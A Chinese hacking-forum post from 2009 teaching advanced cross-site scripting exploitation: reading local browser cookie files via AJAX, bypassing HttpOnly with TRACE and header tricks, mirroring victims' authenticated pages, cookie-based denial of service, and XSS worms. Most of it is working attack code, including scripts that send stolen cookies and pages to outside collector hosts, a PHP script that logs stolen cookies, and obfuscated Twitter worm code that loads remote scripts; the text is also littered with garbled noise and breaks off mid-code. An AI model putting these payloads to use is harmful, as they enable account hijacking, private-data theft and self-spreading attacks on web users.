XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页- u, ~* R& [; x
本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页" F4 u4 |( c f8 a0 H6 p: O
By racle@tian6.com
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转帖请保留版权
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-------------------------------------------前言---------------------------------------------------------" g: S: _! H. e( b. H( X/ i
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
; q* k2 i# L# o8 b* a# X* |9 hhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
- y( i6 r0 c/ T% {9 uhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
& p! I, ~9 q' _& Whttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过, p( t* R. N2 U- e0 p- c) O4 F: f
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF4 ` A6 T9 r @' }2 [
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
& m% b# c& C `* W; X( z0 G) \http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持( j/ v7 B! G+ v
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.6 F+ [/ A! z3 a, f
7 | B/ Q$ x) W+ v. I如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------" i5 q$ T& r; P( H4 f3 k6 Q
0 o* ?% p+ H9 B! k什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.& q- n$ J2 I8 B% U: @; @+ [
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3 d& O; K) q* \, }跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.+ I: m: H- v. x0 A8 V6 ^4 Y8 F
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.! x4 i# E9 y3 J/ r! S
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题., v+ }0 _4 H, U8 j) q9 P
我们在这里重点探讨以下几个问题:
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1 通过XSS,我们能实现什么?
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. `+ P: d" Y0 `7 w, i9 J, T2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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1 i' K2 r4 ~2 c5 ?3 XSS的高级利用和高级综合型XSS蠕虫的可行性?0 J. M G/ F: o. D/ K
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4 XSS漏洞在输出和输入两个方面怎么才能避免.7 t' c- S" N: t8 G
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
8 X) _5 b9 J3 R. j0 M; H复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
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1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.( q5 j" P/ u4 U4 ]
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.8 X( Q3 T. [. u7 d; i0 q8 ^
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.8 B3 L+ ?! z* I
4:Http-only可以采用作为COOKIES保护方式之一.) C6 i' X; F$ C8 d+ A
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# W+ g- u& j! I# Z- z(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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$ w" B" P( y. [" O8 t& w' o- q 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。4 ?4 ^0 b& u' r+ I
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{% n6 [$ F1 B& b2 s, e 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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, n( }8 w. t& G9 w 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.5 v6 o4 E9 }" H- u0 m8 J0 H
复制代码IE6使用ajax读取本地文件 <script>
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function $(x){return document.getElementById(x)}6 u. \; o k& n4 E; o8 @
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var request = false;
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if(window.XMLHttpRequest) {8 p) M) J5 F3 h+ [* I+ o" F
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request = new XMLHttpRequest();
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} else if(window.ActiveXObject) {
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& V8 }# e2 Q+ G$ X/ C( Q 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);
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6 |" ~' g+ _* A& U function _7or3(_m,action,argv){
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# T! l! w$ A0 o" r! Z2 s _x.open(_m,action,false);
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% D+ e, d, k! _( y, V if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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6 B! S. w- \) L5 Z ]3 ?* f return _x.responseText;
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}
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0 D- P. \5 y* x- W var txt=_7or3("GET","file://localhost/C:/11.txt",null);0 r6 u- [4 Z2 ]5 F/ ~" R' B
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复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>" Y- m9 y7 W# E/ A
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function $(x){return document.getElementById(x)}
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function ajax_obj(){( ~ o+ b B& v, {
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$ B" W9 ~ S7 \- r1 C" Y if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();0 ]3 j, q3 E$ h$ l9 A5 n" o
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} else if(window.ActiveXObject) {
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& I5 o) B: `+ a. c5 X* F+ I9 U# X 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];) @7 U8 n- J! w+ ?5 d$ [2 {
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for(var i=0; i<versions.length; i++) {- f' _. r* |! }/ n( u, |
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try {
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request = new ActiveXObject(versions);) O4 Z; w) p; d6 | X1 t
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} catch(e) {}
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}. ^1 b! l5 m- K# g: o/ J& @3 ~
6 D2 a' J. y9 d$ ^7 d7 u5 @" e: W return request;
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);( o* M/ a! l2 t/ K
' Y9 L2 g: Z; W, I if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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return _x.responseText;
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1 o. y7 Z: S& u var txt=_7or3("GET","1/11.txt",null);
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alert(txt);) L, ~/ Z9 k+ j) n4 a
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</script>
+ L& G* H/ y* W复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”5 ~, ]' u- ?, R9 ?& n; t
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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' l# f: J* l, t% H3 }- U# S; S1 i/ a Chrome 1.0.154.53 use ajax read local txt file and upload exp
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author voidloafer@gmail.com 2009-4-22
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* d4 P% w0 k3 a: I1 V+ M& M http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. # n& \3 ~! n0 N7 i. F6 Y+ }
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header("Content-Disposition: attachment;filename=kxlzx.htm"); 5 t# Z r U2 x/ |
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header("Content-type: application/kxlzx");
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/* $ V+ y. C2 O5 K% a% t. p! k
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set header, so just download html file,and open it at local.
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> 6 C$ c2 D9 i$ i) W/ U, n
8 V7 s% S# R3 @" u7 i <input id="input" name="cookie" value="" type="hidden"> + X8 [% a% E' F0 r+ k
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</form> , j' a2 V' U. \4 _3 Y4 t% t
5 v [! w; i, o8 e<script>
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function doMyAjax(user)
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{
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, Q7 c2 C8 F4 ]! G$ l( @% o; Svar time = Math.random(); 8 a% N8 K: `4 B5 z
W" Z; C" M: J' Z& K/*
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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: I p7 f6 p* v3 @- T' ~% r7 ?# cand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History ( e7 N3 T1 O5 h
2 a S) k& ?$ b a- z% K1 Qand so on...
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*/
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! g/ f, l5 E5 |0 K0 {var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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& E; I4 ?3 k8 c# l8 @startRequest(strPer); 2 i. y$ _" A2 k1 S- F+ g: o- s
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+ w- a' X% T* ]* t( ]) M
function Enshellcode(txt) $ O/ h* l5 ?. n, b; @) ]
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var url=new String(txt);
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var i=0,l=0,k=0,curl="";
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8 G4 ~7 R; C9 R1 z0 c: H& |l= url.length; ) a9 _. s4 ]/ g3 i
1 \7 J6 Y: @4 h# |for(;i<l;i++){
$ Z' I: ]4 [. m3 a3 E+ x/ v
, c9 L& Y5 ~6 M$ Uk=url.charCodeAt(i); ( H& {) m+ R% W8 |+ P- V$ l
0 C& n5 D! t) k: I& \8 @if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 1 ?; X; A1 O6 |0 ]2 C- Q+ j
& K' D) D1 ]0 Eif (l%2){curl+="00";}else{curl+="0000";} 3 `* G; r3 f5 A" h2 [2 H/ r! ?
0 D a0 a# ]5 zcurl=curl.replace(/(..)(..)/g,"%u$2$1"); ) y4 P/ K7 x, P. v: D& }% X
0 ?0 m$ V" i( `return curl; 5 j" a' l5 B, O* w
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}
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\7 V. n& V5 @* jvar xmlHttp; [$ G6 W* h$ ]+ ^- L9 g; Y
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function createXMLHttp(){ , _% O% y4 f% r: g
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if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest();
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0 j Q. ~$ K, a" a2 s }
1 }* {1 n0 A' W1 @+ ?
9 Y1 \0 E% y3 b. |/ d else if(window.ActiveXObject){ . F( S, G( h' `* W
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 0 _. l) p3 ^7 b+ v- @
5 A) R) n- O# \9 g' t* I } & f) |# ?) I n( m3 q
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+ ~, r1 Z# t# y6 E( z
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function startRequest(doUrl){
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0 |& X; U# K% W \1 |% J
9 C& l# D+ ~0 B( H( s createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true); ' B X9 Q8 R' a8 x; a
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xmlHttp.send(null);
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8 o0 s+ @; I+ B# @: g
. ]/ f9 e( B9 ] M+ _9 h
/ m; O7 ?$ C9 O+ qfunction handleStateChange(){
) p& H+ A0 [, R
, J+ \. Y2 q4 E' R% @ if (xmlHttp.readyState == 4 ){ 2 L1 a! k0 n* p! n
3 g W. Y1 A% H J b! Y
var strResponse = ""; - a r1 V8 D6 r# r3 Q- M4 i
3 w* W- F# }, y
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); : M' r5 O& G( X( O
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* W( X3 t/ ^$ u8 l" @ F1 |
}
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& M- J& N2 C ?5 z# `2 K" X8 t. b}
6 k: D0 p6 O" b( B' R) R% Z
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# {3 q2 ~+ _- `. U- K; z9 V
function framekxlzxPost(text) * d2 U8 U! [: w/ ^/ V
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{ 2 n" J7 R( u' |. B5 i$ d
/ O. X5 ?; B2 \ document.getElementById("input").value = Enshellcode(text);
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0 X2 {& x1 Y f5 S! q! X* l& W document.getElementById("form").submit();
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. R% J3 w2 n: G A8 O. HdoMyAjax("administrator"); % R2 U) L& x: ^4 q1 c1 h
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</script>
) j; |/ a5 y0 ]: z+ n' }; E复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
9 ]' v! t. _, x; _ n: h5 W3 v/ c. K2 p( J( g/ D
var xmlHttp; * y* D1 x0 f2 Y0 ^6 F3 ^0 V7 k
3 _- m8 T1 k3 w' _; b) j. J5 K8 l' p. [function createXMLHttp(){ % @( h e! ^, X* ^4 j2 N- U0 U; j( y
3 H1 x: e! J' Q5 C! I( s
if(window.XMLHttpRequest){
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2 R' p& R. k+ t/ f; K& N, z# e xmlHttp = new XMLHttpRequest(); , Y2 B& b; _5 q$ i7 S6 f
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} : Y. |) U# p- z, w$ v7 ^
+ t/ t8 f4 l, d! {: a( n
else if(window.ActiveXObject){ 8 W ?, Z, W- s' U$ g- V
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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+ g: R) k# n& l) x
. }+ u( E0 F" N! Z+ s
function startRequest(doUrl){ * f5 q/ b$ O5 A( _- f+ |
0 }# |" t) g6 j: ^
! Q7 S7 R$ @/ k
& ?' C+ c; L o. a createXMLHttp(); % ]% |- n$ o8 K& J
7 b$ w" \* h9 ~) t) P* [
2 g' B0 w( V9 \8 E0 ^. g4 b9 \
# ]0 I6 x2 y# K xmlHttp.onreadystatechange = handleStateChange; ' B8 ~8 f7 S6 m, P7 N& S+ e$ d; b
7 t. E) a% r/ ?* T9 _
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xmlHttp.open("GET", doUrl, true);
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8 |. c* U- ^- v! K/ \) d4 m; X; c4 N xmlHttp.send(null); 4 Z+ s" T/ V$ c$ V. @- x4 i# h8 `
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7 l2 ?" A7 S$ L( o4 |6 O/ l, {' Q
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2 [7 i; X% i8 u% O0 ffunction handleStateChange(){
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if (xmlHttp.readyState == 4 ){ 1 l1 m( {% a; e6 E3 L% @9 T! ]
/ w3 z+ M% I; a7 \
var strResponse = ""; * P& y1 R6 E7 h+ b
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); 9 N$ R e- p4 z& W
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8 `0 @! y+ Z2 W1 E+ w4 g( J
function doMyAjax(user,file)
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{
3 i" S+ O2 F: D9 u8 S Z% Q: _% K) n9 l0 y
var time = Math.random(); 3 D7 z& I7 m: `0 a
}" Y, s0 L9 Z5 z
5 b r+ [; v. N! T5 k
5 H; L% ?3 z7 L% U( z, ^8 V: {6 J var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; H; F# q1 S8 b
6 {0 y* `: C2 }- d2 E5 q: f / F1 d$ f( t' f8 C
* G5 C' ^# k# X V4 G startRequest(strPer);
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}
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: L, o* ]1 r5 M/ l% ~
8 K" Q- x& A4 v& R5 Cfunction framekxlzxPost(text)
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+ u1 v& _9 H- I# D' X{
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P6 X) O3 {1 E* \ document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
/ Q7 m" A w b6 C4 M t' G. e; }: Y
8 J: N# ^9 i8 A4 p alert(/ok/); * _0 u( X: O2 a
; ~4 r3 j* R n8 k( T1 G} 7 t; N+ z4 y0 w4 R0 ?2 `% ~
, n! g5 R; [7 Q
# n. R& K( S# p* |& N( |/ T' k- ` t R; j7 K9 n
doMyAjax('administrator','administrator@alibaba[1].txt'); 2 E; S: S2 f$ p5 Z7 M- E
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</script>& ^; r1 x9 X, Z! V* P. H/ r
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a.php
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/ O8 p! @! T3 N# f% s+ U$ w# d
* w% z+ G9 l8 d# ]4 }/ t+ U5 r<?php & }$ b* L4 `7 S( s) z8 K7 h) R% W
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; # I! B' f5 y5 W
' t% H' |; \% b$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; . z/ V. t- c, M
0 r" A3 s4 Y# E- q- Y* K
# L1 L6 j( f- `: B3 w. q
+ H7 r6 r2 N7 r! Z" C) ]! H$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 2 H$ q2 q3 l5 L# w# f/ X
; s! C" Y# @8 T4 ^fwrite($fp,$_GET["cookie"]);
8 Q0 Y4 E) J E# M5 y3 }) v# S- y9 H6 r0 j' `; {/ ?. X' }
fclose($fp); ) u# ?7 K8 R$ D" u; s& }
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.; `7 L) G) h7 B8 c5 M
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能." w k6 e$ v9 N& h& R- J
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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. {2 o8 i4 t8 ?4 efunction getURL(s) {
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var image = new Image();" q% G8 c% I/ n" G7 ^2 K. w. ^
; A' x# R' e: T9 q6 y& [image.style.width = 0;6 a4 X5 m6 V$ F" g& Z& o
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image.style.height = 0;
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image.src = s;
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}7 e/ A6 L& D- C. d! M
; }3 h& h+ x ^: U) x7 F+ GgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
9 n/ k0 I8 H' L$ H复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
2 v }3 f# q; Y/ y0 w这里引用大风的一段简单代码:<script language="javascript">* e! l; J1 i! p& G$ N- w) D: E4 X
5 j6 p" ]4 i/ y3 ]1 P0 ]7 g# ivar metastr = "AAAAAAAAAA"; // 10 A' N+ T! p; M$ |( ?+ s7 J& i
1 P/ I% A) r* n. T
var str = "";
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while (str.length < 4000){2 K) {5 {8 \" r; ]$ T; @0 h0 R
+ G) ^0 d! A5 m' C c0 B# D
str += metastr;1 ^2 N9 B6 z/ k- g6 y
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
+ ]7 b- K, s: x" {
2 Y1 q# c5 x# z- |" v. w/ K, ]</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
8 x' t- i" M Y' _复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.9 P4 D4 B7 H( m$ g. c
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150' W1 Z+ l; y! r( R0 {$ D
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.; ?0 x y' D- o: y( I
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.3 R8 m0 T- k2 S# I% z1 |
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0 y& _, ^0 X1 X- ^# \7 Y m$ D(III) Http only bypass 与 补救对策:
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% F0 v* j% ^5 Z2 k3 d什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
j) ]& c8 ?+ z) K n以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
/ U6 F( u! r8 n- l3 Q
- q/ h$ F. g6 D+ b3 V5 `<!--$ C; U: D4 I' Q- l, F
) G5 p* E* i* D0 ~* x7 k2 r$ G
function normalCookie() { 5 w6 m, ]8 z/ i
% U$ F2 v0 U" v/ Q9 Q0 a
document.cookie = "TheCookieName=CookieValue_httpOnly";
1 e+ s) S4 O+ G% _
/ T# p& {: C8 ` T% r" Aalert(document.cookie);) o) O5 b1 W& N5 @2 Z- b
7 {6 y G% H! B) O- G8 l) o
}3 { b2 b8 T' x5 D( J! Y
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; T; q* X. u/ Q: a0 U3 I
4 v6 Y# X' |2 V8 I7 b/ l/ E+ nfunction httpOnlyCookie() {
3 @- v6 W1 n0 a2 {0 V7 v
5 J3 p# o' B* z B( F8 bdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
& t/ k2 J2 m6 X- C: |1 {/ I S; R: `5 V k0 g
alert(document.cookie);}5 \1 T1 C8 k I3 U$ t+ c8 ^; l
. m: Z2 n8 y7 J7 M P; b) z/ R }
2 {# h3 G( `/ y/ U o* P5 }$ {7 n9 V) S0 X
//-->0 a3 y' ?( u6 ~0 W' y; F/ G, f
3 F# p- }+ I B+ \
</script>
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9 ~" M4 X' ` Y+ S/ r' P9 s2 x1 |# p. J& b
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>) y+ _: F7 Q8 h, l* n1 ^2 r& ]6 I
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
5 U9 f) f6 b/ C复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
6 f2 o S/ G4 e# C% w3 a- k% O: n/ _4 N2 E# { p
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3 T. z7 g, \' Q' M$ c5 d' @7 |" [var request = false;5 x+ Q& w7 p, G+ H- k& r
5 X6 y: e8 A3 \0 J if(window.XMLHttpRequest) {2 k' q' Q: ?) J3 b k- y$ Q
. C* \: ^. w% q- D request = new XMLHttpRequest();- {$ j- g0 |9 p7 Z) C, @% r
4 A7 \4 d6 ^5 d if(request.overrideMimeType) {* B q: S% [; ^& }
$ W) {9 u/ Q9 u- K4 E request.overrideMimeType('text/xml');. _1 f8 ?4 i& y' O2 d, X7 y3 T
/ N' S/ i" |. T" E+ o }; q$ f0 `3 n. V) M2 N
/ D% \! V! h8 E5 P } else if(window.ActiveXObject) {4 v, X8 e" ?) Q! \# L
$ @* T) I" x/ | k/ C
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];# |# j% L- i7 T0 x, }' u
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for(var i=0; i<versions.length; i++) {
7 R( `- c3 m2 F8 O+ ]2 f) x4 h) k6 M4 {) R6 H! V
try {! V8 i6 E# T5 }. Y
$ N" m @4 c% J9 J request = new ActiveXObject(versions);8 s6 x( W1 ~/ b" t7 s1 F, \
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} catch(e) {}
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}
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}
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xmlHttp=request;% `2 a5 ~. a' M
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xmlHttp.open("TRACE","http://www.vul.com",false);; j+ s2 C' E* A/ M) \ R
7 H& j/ s$ b) r! X: c$ mxmlHttp.send(null);1 K, c& y5 _# s; K
1 u) `8 ~5 g; h0 Q/ }xmlDoc=xmlHttp.responseText;* C! C! K5 A5 T
) V9 v$ Q1 f, X# P3 B# zalert(xmlDoc);: Y/ i& }% i2 F2 b; b
f- o+ ^5 \! ^. b5 p5 Q' ~% s; ~</script>
P$ h! c3 m E v复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>& z: x5 X9 t) w# r
1 T# l) ~, X2 @* `1 }7 J1 {: p9 tvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");( W+ [+ q) L/ X3 I
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XmlHttp.open("GET","http://www.google.com",false);
% t8 d: c2 f2 m
( L/ I. a2 e0 o" F" @, d8 kXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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/ l# s$ |+ U- B6 [& K$ Z; [$ |: FXmlHttp.send(null);! j f9 \0 U- U! C
! R. \& O7 Y5 _. fvar resource=xmlHttp.responseText1 Q r( y4 w$ W
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resource.search(/cookies/);
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......................
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# [4 B) R' Z, n/ E$ ~</script>
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d% t7 M! {: y r7 P
; M2 [6 p% N6 v( d- Q" r1 F如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
. ]9 j- ^& I, c5 n) \! b% m
2 R& e- u5 ~% ^4 G& I- Q% h[code]
7 O( ^* D; V, `# @* \+ } |/ c# s& f' w6 k0 Q; t% k
RewriteEngine On% f( H2 x! z' A: w o4 h
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RewriteCond %{REQUEST_METHOD} ^TRACE. |/ t( g% ]. x9 a( P' J
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RewriteRule .* - [F]
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9 A6 v* F9 X" h" l; U
! x+ a! |% J2 j5 D3 `/ j. zSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
" S3 i& O# Z! {- M, q) j' m
. e4 R8 E- F& Y1 eacl TRACE method TRACE8 ~( |# A8 o9 t6 B. O! f
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: @8 X$ @+ s1 l+ u, M* D- Jhttp_access deny TRACE/ V4 l1 c( i; [& g7 R1 Z
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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1 d6 o) w' L1 _1 Z, s3 [' fvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");: Z+ Q7 z& E. _0 X ~
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XmlHttp.open("GET","http://www.google.com",false);9 l- E& H# S5 z8 J5 O2 W! c. O9 r
" w( p- k! _) g9 c' A/ u3 z
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");5 }8 f! L- w5 q1 n3 ?4 y2 Z9 F* P
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XmlHttp.send(null);. b0 w L1 j6 |$ W
! p& G p" l3 b! v! n# i7 W</script>. Z6 O. S: \5 T f# G
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>" |) h; v. X- j+ y( L% O
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");5 W& l( S; X2 w& i
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1 l' W9 K9 U" w* w3 ~8 v: pXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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/ C; k2 L( K T7 ~XmlHttp.send(null);7 ?, }* \' r E7 u* H
- ]# }7 {# ]# D! P, s8 o<script>
- N/ B& \& ^- M% l, j7 {. q复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么./ c# y2 D7 N1 `
复制代码案例:Twitter 蠕蟲五度發威
; g9 g5 f6 d) X* s) U) |第一版:
/ |" Q/ O* l* B* E" q1 X 下载 (5.1 KB)
7 e& i( ]* j1 \5 Y3 m
4 d( ?2 L; L4 P6 天前 08:27# Q2 K7 I, |: U g8 H0 ~
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", 